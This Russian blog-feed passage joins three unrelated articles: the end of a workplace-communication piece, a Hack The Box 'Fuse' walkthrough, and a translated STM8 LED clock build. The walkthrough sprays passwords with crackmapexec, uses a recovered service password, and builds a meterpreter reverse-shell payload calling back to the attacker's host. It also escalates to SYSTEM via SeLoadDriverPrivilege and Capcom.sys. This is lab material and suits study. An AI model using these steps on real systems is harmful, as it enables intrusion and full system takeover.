И это действительно не работает. Даже если ты — супер-человек. Даже если ты умеешь слушать и делать что-то ещё. Даже если ты держишь нить разговора. Тот, кто с тобой беседует, так не считает. Да, он может быть не прав. Ты можешь с пеной у рта ему и себе доказывать, что ты не отвлекаешься. Но уважение к тебе в такие моменты тает. А ты уверен, что хочешь терять доверие и уважение, завоёванное большой ценой, по такой мелочи?

Просто слушай, просто не отвлекайся.

7. Завершение


И возвращаемся к первому пункту. Про цель, понимание и желание.

Не брезгуй уточнять у собеседника, как он понял, о чём вы говорили. Нет, это не будет ему говорить о том, что ты его считаешь тупым.

Ты можешь просто сказать: «Так, давай проговорим, что мы с тобой решили, чтобы мы были на одной волне?»

Используй вопросы а-ля «Тебя что-то ещё смущает в наших решениях?» и им подобными для проверки мотивации и окончательности договорённостей (только не забывай — в каждой команде свой сленг, где-то этот вопрос может звучать слишком официозно и будет уместнее вопрос в стиле «всё гуд? договорились? или что-то ещё не так?» или даже «бро, чего такой хмурый? не всё перетёрли?», но я не работал в таких командах как последняя).

В отдельных случаях можно даже попросить написать «Follow-up notes» — договорённости, шаги, которые надо предпринять, и прочие выводы встречи. Кстати, это очень полезно, если ты, например, продлеваешь испытательный срок или договариваешься о том, что надо улучшить в работе. Чтобы потом ни у тебя, ни у сотрудника не было возможности сказать «эээ, неее, мы так не договаривались».

Если же твоя цель была — улучшение отношений, то тут уместно будет уточнить «я ещё чем-то могу помочь?», «что-то ещё тебя тревожит?». Только искренне. Не надо думать, что это «только для американцев». Наши люди точно также ждут сочувствия, хотят делиться. Просто не всегда и не со всеми. И над этим надо работать. Но это уже совсем другая тема.

Эта же тема, на самом деле, практически неисчерпаемая, но тут я хотел раскрыть те моменты, на которые люди очень часто закрывают глаза, считая банальными, и поэтому допускают в них очень большое количество ошибок.

Дайте знать, если это для кого-то оказалось полезным.

Всем спасибо.

Let's block ads! (Why?)

Hack The Box. Прохождение Fuse. RPC, принтеры и опасная привилегия SeLoadDriverPrivilege


Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье создадим словарик паролей из косвенной информации о пользователях, посмотрим на информацию о принтерах с точки зрения RPC и повышаем привилегии благодаря SeLoadDriverPrivilege.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.193, который я добавляю в /etc/hosts.
10.10.10.193    fuse.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Давайте добавим FQDN имя машины в /etc/hosts.

10.10.10.193    fuse.fabricorp.local

И на хосте работает веб-сервер. Давайте посмотрим, что там есть.

Нас встречает сайт с принтерами и мы можем скачать 4 документа, что давайте и сделаем.

Так как больше никаких векторов не находим, давай отметим для себя имена пользователей.

cat *.csv | grep 2020 | cut -d ',' -f 2 | sort | uniq

Также создадим список паролей из информации в документах.

cat *.csv | grep 2020 | cut -d ',' -f2,5-7 | tr -d '"' | tr '.' '\n' | tr ',' '\n' | tr -d ' ' | tr '-' '\n' | sort | uniq | tail -n+4

И теперь попробуем брутить, к примеру SMB.

cme smb 10.10.10.193 -u users.txt -p pass.txt --continue-on-success

И есть сообщение, что пароль для пользователя должен быть изменен.

Entry point


Давайте это и сделаем. Зададим тот же пароль.
smbpasswd -r 10.10.10.193 -U bhult

Но у нас есть несколько секунд, и пароль становится недействительным.

Поэтому выполняем две команды в связке.

smbpasswd -r 10.10.10.193 -U bhult ; rpcclient -U bhult 10.10.10.193

Давайте просмотрим всех пользователей, сделаем этот с помощью RPC.

USER

И находим интересного пользователя. Учитывая все тему с принтерами, которых уже длится все время, давайте посмотрим принтеры.

И находим пароль. Создадим список из уже действительных пользователей.

А вот теперь попробуем данный пароль для всех пользователей.

sudo cme smb 10.10.10.193 -u users.txt -p '$fab@s3Rv1ce$1' --continue-on-success

И находим двух пользователей. И у нас получается подключиться к WinRM и забрать первый флаг.

ROOT


Посмотрим информацию о текущем пользователе.

И наблюдаем привилегию SeLoadDriverPrivilege. И тут есть вектор LPE. Нам понадобятся следующее ПО: Capcom.sys, EoPLoadDriver и шелл meterpreter. Давайте создадим его.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.160 LPORT=4321 -f exe -o e.exe

И активируем листенер. Загрузим все на хост и запустим эксплоит meterpreter.

handler -p windows/x64/meterpreter/reverse_tcp -H 10.10.15.160 -P 4321

Теперь нужно загрузить драйвер.

.\eoploaddriver.exe System\CurrentControlSet\custom C:\Users\svc-print\Documents\Capcom.sys

И перед запуском эксплоита нужно немного его поправить. Давайте закомментируем следующие строки в файле /usr/share/metasploit-framework/modules/exploits/windows/local/capcom_sys_exec.rb.

И выполняем.

Как результат, создана новая сессия от имени SYSTEM. Вот к чему может привести привилегия SeLoadDriverPrivilege.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

Let's block ads! (Why?)

[Перевод] Создание уникальных часов

Все началось, когда мое внимание привлек старый светодиодный дисплей, лежащий в ящике среди мелочевки и запасных деталей. Он сохранился еще со времен древних 386/486 ПК и мог отображать частоту до 99 МГц. Когда он был установлен на системном блоке в те времена, он показывал только две скорости, обычную и турбо, эти скорости работы центрального процессора выбирались специальной кнопкой. Фишка была в том, что сами цифры были желтыми, а надпись MHz (горящие непрерывно) светились красным. Такая комбинация цветов мне понравилась. *
*В те годы частота процессора менялась специальной кнопкой “Turbo”, и эта кнопка присутствовала на системном блоке, а частота отображалась на таком светодиодном дисплее. Прим. Переводчика.

Тогда я задумался, а можно ли собрать на основе этого циферблата часы. Оперируя всего двумя цифрами, мне пришлось бы мультиплексировать часы и минуты. Я решил, что в таком случае могу отображать 12:34 как 12H, сопровождаемое 34М.
Была и еще одна особенность, а именно то, что часть с MHz состояла из всего 7 «сегментов». М делилась на три сегмента, а именно на две боковые вертикальные палочки и центральную часть V. В H 2 вертикальные палочки также были отдельными сегментами, но центральная ее часть уже объединялась с верхушкой буквы z, чья нижняя часть < представляла последний 7-й сегмент. Это означало, что после H всегда будет отображаться «тире», т.е. 12:34 будет показываться как 12H-, а затем 34M. Пусть это будет фишка.

Каждый сегмент MHz состоял из двух последовательно соединенных красных светодиодов с прямым напряжением 3,6В. Желтые же цифры были представлены одиночными светодиодами с прямым напряжением 1,9В. Очевидно, что такой семисегментник изготавливался индивидуально для производителя ПК. Именно поэтому вы и не сможете воссоздать такие часы, если только не отыщите аналогичный экран, сохранившийся с тех времен. Тем не менее при желании вы можете изменить ПО (по большому счету исключить код, обрабатывающий мультиплексирование часов/минут) под использование с удобным 4-значным дисплеем.

Цель


Я собрал эти часы, чтобы решить следующие задачи:
  • Запрограммировать STM8, в частности STM8S103F6, в C при помощи SDCC и портированной стандартной библиотеки периферийных устройств (SPL).
  • Мультиплексировать часы и минуты на двух цифрах.

Подключение


Поскольку у меня всего один дисплей, было бы излишне затратным заказывать не менее 5 печатных плат с завода, что потребовало бы длительной доставки или дополнительных расходов на ускоренную пересылку. Поэтому я подключил весь проект на монтажной плате. Выглядит страшно, а с обратной стороны и того хуже, так что ее я даже показывать не стану.

Кстати, кнопки тоже от старого ПК, раньше они служили в качестве Reset’а. Для подачи питания на 7805 стабилизатор я приспособил восстановленную зарядку от телефона Nokia.
Паять пришлось довольно много соединений, что неудивительно при переделке не мультиплексированного дисплея в мультиплексированный, поэтому я даже был рад, что собирал всего одну плату. В последствии тестирование показало, что помимо нескольких коротких замыканий и непропаев, была еще пара косяков: я думал, что у транзисторных драйверов посадочное место EBC, но оказалось, что ECB. Ну это же очевидно! Пришлось переподключать провода. Причем переподключать их пришлось не только здесь, потому что еще я перепутал два контакта дисплея, поменяв местами сегменты b и g второй цифры.

Тем не менее в итоге все получилось, и я подключил плату к Arduino для отображения в соответствии с заданными параметрами.


Схема

Программное обеспечение


SDCC (Small Device C Compiler ) поддерживает архитектуру STM8, и мне понадобились только определить ресурсы процессора STM8, например такие как регистры. Было интересно, почему они не поставляются вместе с SDCC. Не буду углубляться в подробности всего этого приключения, но в итоге выяснилось, что изначально ST не предоставляли включаемые файлы и библиотеки по подходящей для открытых проектов лицензии. В конечном счете они осознали свою ошибку, но к тому времени по интернету уже гуляло много обходных путей. Тем не менее существовал вариант портирования SPL в SDCC. Вы можете прочесть инструкцию по сбору SPL под Linux, чтобы получить включаемые файлы и библиотеку, к плюсам которых можно отнести: улучшенное самодокументирование кода в случае его излишней подробности, наличие проверки ошибок использования, а также то, что SPL для STM32 аналогична, т.е. при необходимости вы уже будете знать, как ее использовать.

Кроме того, я использовал протопотоки Адама Дункельса для обработки переключения.

Прошивка для часов на базе MCU имеет несколько подсистем. Далее я указываю исходные файлы С, обрабатывающие каждую из этих подсистем. Может оказаться полезным обратиться к исходному коду.

  • код, отвечающий за хронометраж (tod.c), который считает миллисекунды, секунды, минуты и часы;
  • таймер периодичности (tick.c), обрабатывающий сканирование цифр и опрос кнопок;
  • дисплей (display.c), получающий время и преобразующий его в массив из 7-сегментных байтов для отправки на порт вывода;
  • обработчик кнопок (button.c), считывающий состояние кнопок;
  • системный модуль (mcu.c), устанавливающий начальную конфигурацию;
  • основная программа (clock.c), связывающая все модули.

Для хронометража используется Timer1, поскольку имеет больше возможностей и дополнительных опций, которые мне еще пригодятся. Частота CPU в 16 MHz поделена до значения в 64 Hz, которое затем пошагово увеличивает время дня, структуру которую содержат счетчики.

Timer4 используется для работающего на 500 Hz генератора тактов, который служит для динамического отображения цифр и опроса кнопок.

Техника отображения для мультиплексированных циферблатов достаточно проста. Есть массив байт, представляющий сегменты каждой цифры. Код обращается к цифрам и соответствующим сегментам по порядку. Таблица шрифтов переводит двоичные числа из счетчиков часов и минут в нужные шаблоны из 7 сегментов. Обратите внимание, что эти массивы должны обновляться только, когда изменяется видимая цифра, т.е. не каждую секунду, а каждую минуту, в том числе при установке самих часов.

Имейте в виду, что в отличие от более простых микроконтроллеров, контакты сегментов берутся из комбинации портов, так как ни один из них не предоставляет все 8 бит в корпусе TSSOP-20. Это значит я не могу использовать байтовые операции для одновременной обработки всех сегментов, но вынужден циклически обрабатывать по одному сегменту за раз. Однако этот микроконтроллер остаточно быстр, поэтому в сравнении с периодом тактов излишняя нагрузка ничтожна.

Обработчик этого таймера также занимается сканированием кнопок при каждом проходе цикла и обновляет конечный автомат протопотоков для действий кнопок. Одиночное нажатие приводит к однократному увеличению. Если же кнопку зажать, то спустя небольшую задержку начнется автоматическое увеличение со скоростью 4 раза в секунду.

Системный модуль инициализирует нужную конфигурацию микроконтроллера. В частности, я использую встроенный RC-генератор на 16MHz.

Основная программа вызывает процедуру инициализации каждого из перечисленных модулей, а затем входит в цикл тактов.

Модификации для мультиплексирования часов и минут


Для обработки мультиплексирования часов и минут я создал 2 массива вместо одного. Первый содержит две 7-сегментные цифры для часов плюс постоянный третий байт, представляющий сегменты H-. Второй массив содержит две 7-сегментные цифры для минут плюс постоянный байт, представляющий сегменты M.

В тактовом цикле при каждом изменении счетчика секунд, он проверяется. Если его модуль после деления на 5 будет от 0 до 2, то указатель циферблата переключается на массив минут, в случае же 3 и 4 он переключается на массив часов. В результате получается, что для, например, 12:34 он в течение 2 секунд показывает 12 H-, а затем в течение трех секунд 34M.

Это мультиплексирование понадобилось остановить при установке времени. В итоге при удержании кнопки прибавления часов циферблат показывает их до тех пор, пока она не будет отпущена. То же самое с кнопкой для минут. Небольшое замечание – при прибавлении минуты счетчик секунд сбрасывается до 0. Это позволяет синхронизировать часы с другими часами, установив одно и то же время в минутах, а затем увеличив их значение резким одновременным нажатием во время смены секунд.

Я реализовал еще одну особенность, а именно выделил красным цифрам удвоенный цифровой период, компенсировав тем самым пониженное напряжение светодиода. В итоге рабочий цикл желтых цифр составляет 25%, а красных 50%.

Доработки для стандартного 4-значного дисплея


Здесь я описал свои непроверенные предположения о том, что нужно сделать тем, кто задумает модифицировать мой код для управления стандартным 4-значным дисплеем.

Из оборудования вам понадобится дополнительный вывод порта для управления 4-й цифрой. Первым логичным кандидатом для этого является D1, но нужно помнить, что на использованной мной коммутационной плате – это также порт SWIM для прошивки исполняемого образа. Так что вам понадобится перемычка, которую можно будет снять при перепрошивке и установить обратно для работы. Еще один вариант – не использовать двоеточие и задействовать A3 для 4-й цифры.

Имейте в виду, что B4 и B5 задействовать нельзя, так как это контакты с открытым стоком для l2C, которые для включения катодного транзистора потребуют добавления подтягивающего резистора. Еще одна проблема в том, что B5 запускает мигающий светодиод. Думаю, вы могли бы приспособить его для 4-й цифры, тогда этот светодиод будет обеспечивать ток транзисторных драйверов для светодиодов. В этом случае свечение B5 будет означать, что часы работают.

В отношении ПО вы можете заменить один 4-байтовый массив на два раздельных 3-байтовых, тогда не потребуется переключения указателя между массивами. Естественно, число цифр увеличиться до 4, но это будет обрабатываться хэш-функцией, использующей оператор sizeof при добавлении вами еще одного элемента в объявления цифровых контактов порта. Кстати, при этом вы также избавитесь от необходимости определения для красных цифр дополнительного времени сканирования, так как в вашем случае все цифры будут одинаковы.

Можете смело делать форк моего репозитория, если возникнет желание опубликовать ваши изменения. Мой код открыт для использования под лицензией MIT.

Тестирование


Мне потребуется некоторое время для определения смещения времени, после чего я смогу применить необходимый фактор коррекции.

Настройка отсчета времени


Для настройки тактовой скорости часов использовался генератор с числовым программным управлением. Этот способ я подсмотрел у K. C. Lee, который использовал его в своих часах, собранных на микроконтроллере семейства STM8.

Давайте конкретизируем пример, взглянув на изменения в tod.c. Вы можете увидеть, что Timer1 по-прежнему настроен на генерацию 64 прерываний в секунду. Однако теперь счетчик миллисекунд вместо отсчитывания до 64 считает до 32. Мы создаем аккумулятор, назвав его DDS_Accum, который увеличивается на (2^23 + корректировка) при каждом прерывании таймера. Когда DDS_Accum превышает 2^24, на что почти всегда уходит 2 прерывания, счетчик миллисекунд увеличивается, а 2^24 вычитается из DDS_Accum. Я выбрал возведение в степень 2 для переполнения и последующее вычитание, потому что так мы можем выполнить первое путем проверки битов, а второе побитовым маскированием, сделав код более эффективным.

Теперь рассмотрим, какой эффект корректировка оказывает на накопление. Если она нулевая, то схема действует просто как деление на два. Если корректировка отрицательна, то иногда накопление не будет превышать лимит, и увеличение миллисекунд счетчиком происходить тоже не будет, т.е. такт будет утрачиваться. И наоборот, если корректировка будет положительной, иногда накопление будет превышать лимит два раза подряд, порождая лишний такт. Проще говоря, отрицательная корректировка замедляет часы, а положительная ускоряет. Дробная корректировка определяется как корректировка/2^23. Так как это происходит до срабатывания счетчика секунд, мы не замечаем этих мелких колебаний, тем более что минимально отображаемый отсчет ведется в минутах.

Все это можно обобщить до множителей (прерывание таймера/скорость миллисекунд), которые не равны 2, но в более крупных множителей необходимости нет.

Результат


Результат можно увидеть на видео.
Видимо придется залепить красный светодиод черной изолентой, так как иначе из-за своей дикой яркости он будет засвечивать остальные цифры в темное время суток.

Файлы к статье: 4digittest.ino

Ссылки:

Breakout Boards
Instructions for building SPL on Linux
Репозиторий проекта irreproducible-clock

Let's block ads! (Why?)